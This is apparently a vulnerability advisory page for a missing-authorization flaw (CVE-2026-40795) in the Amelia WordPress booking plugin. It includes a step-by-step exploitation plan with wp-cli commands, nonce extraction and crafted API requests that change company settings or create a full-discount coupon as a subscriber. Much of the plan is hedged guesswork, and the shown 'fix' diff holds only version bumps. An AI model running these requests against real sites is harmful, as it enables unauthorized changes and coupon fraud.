Booking for Appointments and Events Calendar – Amelia <= 2.2 - Missing Authorization
Description
The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.2.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-40795 ## 1. Vulnerability Summary The **Booking for Appointments and Events Calendar – Amelia** plugin (versions <= 2.2) suffers from a **Missing Authorization** vulnerability. The plugin implements a custom API routing system using the Slim framework, bootst…
Show full research plan
Exploitation Research Plan - CVE-2026-40795
1. Vulnerability Summary
The Booking for Appointments and Events Calendar – Amelia plugin (versions <= 2.2) suffers from a Missing Authorization vulnerability. The plugin implements a custom API routing system using the Slim framework, bootstrapped via the wp_ajax_wpamelia_api action.
While the plugin checks if a user is authenticated, it fails to perform adequate capability checks (e.g., current_user_can('manage_options')) on several administrative endpoints. This allows an authenticated attacker with low-level permissions (Subscriber) to perform actions intended for Administrators, such as modifying plugin settings, managing coupons, or altering company details.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpamelia_api - Parameter:
call(defines the internal Slim route) - Method:
POST(for state-changing actions) - Preconditions: Authenticated as a Subscriber or any registered user.
- Vulnerable Routes: Internal routes like
/settings,/company, or/couponsare accessible to any user who can provide a valid WordPress nonce and is logged in.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.php?action=wpamelia_api&call=/settings. - Bootstrap:
ameliabooking.phpcatches the action viaadd_action('wp_ajax_wpamelia_api', array('AmeliaBooking\Plugin', 'wpAmeliaApiCall')). - Initialization:
Plugin::wpAmeliaApiCall()is executed:public static function wpAmeliaApiCall() { $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php'; $app = new App($container); Routes::routes($app, $container); // Registers all Slim routes $app->run(); exit(); } - Routing: The Slim
Appparses thecallparameter. - Authorization Failure: The middleware or controller handling the
/settingsroute verifiesis_user_logged_in()but fails to verify if the WordPress user has the required Amelia administrative role ormanage_optionscapability.
4. Nonce Acquisition Strategy
Amelia generates a nonce for its API and localizes it into the page source. To obtain a valid nonce as a Subscriber:
- Identify Trigger: Amelia enqueues its API configuration when shortcodes like
[ameliacustomerpanel]or[ameliabooking]are present. - Setup Page: Create a public page containing the Amelia Customer Panel shortcode.
- Extraction:
- Navigate to the page as the Subscriber.
- Amelia localizes settings into a global JavaScript object, typically named
wpAmeliaSettingsorameliaApiData. - Use
browser_evalto extract the nonce:window.wpAmeliaSettings.nonce.
5. Exploitation Strategy
We will demonstrate the unauthorized action by modifying the Company Name in the Amelia settings.
Step 1: Create a Subscriber User
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
Step 2: Setup Nonce Leakage Page
wp post create --post_type=page --post_title="Customer Panel" --post_status=publish --post_content='[ameliacustomerpanel]'
Step 3: Extract Nonce
- Log in to WordPress as
attacker. - Navigate to the "Customer Panel" page.
- Execute:
// JavaScript to run via browser_eval return window.wpAmeliaSettings.nonce;
Step 4: Perform Unauthorized Action (Change Company Name)
Send a POST request to the API to update the company settings.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/settings - Method:
POST - Headers:
Content-Type: application/jsonAmelia-Nonce: [EXTRACTED_NONCE](Amelia often expects the nonce in a header or as a parameter)
- Body:
{
"company": {
"name": "Hacked by Subscriber",
"address": "1337 Exploit Way",
"phone": "555-0199"
}
}
Note: If the Amelia-Nonce header is not used, the nonce is passed as a query parameter &nonce=... or inside the JSON body.
6. Test Data Setup
- Plugin Configuration: Ensure Amelia is activated.
- Existing Settings: Configure a default company name via the Admin UI first:
wp option update amelia_settings '{"company": {"name": "Original Company"}}' --format=json(Actual option structure may vary; verifying viawp option get amelia_settingsis recommended).
7. Expected Results
- Response: The server should return a
200 OKor201 Createdwith a JSON object confirming the update. - Data Change: The
amelia_settingsoption in the WordPress database will be updated with the new company name. - Access Control Bypass: A Subscriber successfully performed an operation that should require
manage_optionsorAmelia Adminprivileges.
8. Verification Steps
- Check Database:
wp option get amelia_settings --format=json | jq .company.name - Expected Output:
"Hacked by Subscriber"
9. Alternative Approaches
If /settings is protected by a more specific check, target the Coupons endpoint:
- Route:
POST /coupons - Payload:
{
"code": "FREE100",
"discount": 100,
"type": "percentage",
"limit": 1,
"status": "visible"
}
If the attack requires the Amelia-Nonce header, ensure it is set. If the plugin uses a different localization key, use browser_eval("window") and search for keys containing "Amelia" or "nonce".
Summary
The Amelia plugin for WordPress (versions <= 2.2) lacks proper authorization checks in its custom API routing system initialized via the `wpamelia_api` AJAX action. This allows authenticated users with subscriber-level permissions to perform administrative actions, such as modifying plugin settings or managing coupons, by accessing internal Slim framework routes that fail to verify user capabilities.
Vulnerable Code
// ameliabooking.php lines 194-208 public static function wpAmeliaApiCall() { try { /** @var Container $container */ $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php'; $app = new App($container); // Initialize all API routes Routes::routes($app, $container); $app->run(); exit(); } catch (Exception $e) { echo 'ERROR: ' . esc_html($e->getMessage()); } }
Security Fix
@@ -3,7 +3,7 @@ Plugin Name: Amelia Plugin URI: https://wpamelia.com/ Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep! -Version: 2.2 +Version: 2.2.1 Author: Melograno Ventures Author URI: https://melograno.io/ Text Domain: ameliabooking @@ -111,7 +111,7 @@ // Const for Amelia version if (!defined('AMELIA_VERSION')) { - define('AMELIA_VERSION', '2.2'); + define('AMELIA_VERSION', '2.2.1'); }
Exploit Outline
1. Log in to the target WordPress site as an authenticated user with low-level (Subscriber) permissions. 2. Navigate to any page containing an Amelia shortcode (e.g., [ameliacustomerpanel]) to find the localized JavaScript object `wpAmeliaSettings` and extract the valid `nonce` value. 3. Identify a sensitive administrative API route within the plugin, such as `/settings` or `/coupons`, which handles state-changing POST requests. 4. Craft a POST request to `/wp-admin/admin-ajax.php?action=wpamelia_api&call=/settings`. 5. Include the extracted nonce in the `Amelia-Nonce` header (or as a parameter if required) and provide a JSON payload representing administrative changes, such as updating the `company` configuration object. 6. Execute the request to modify plugin settings without having the required administrative capabilities.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.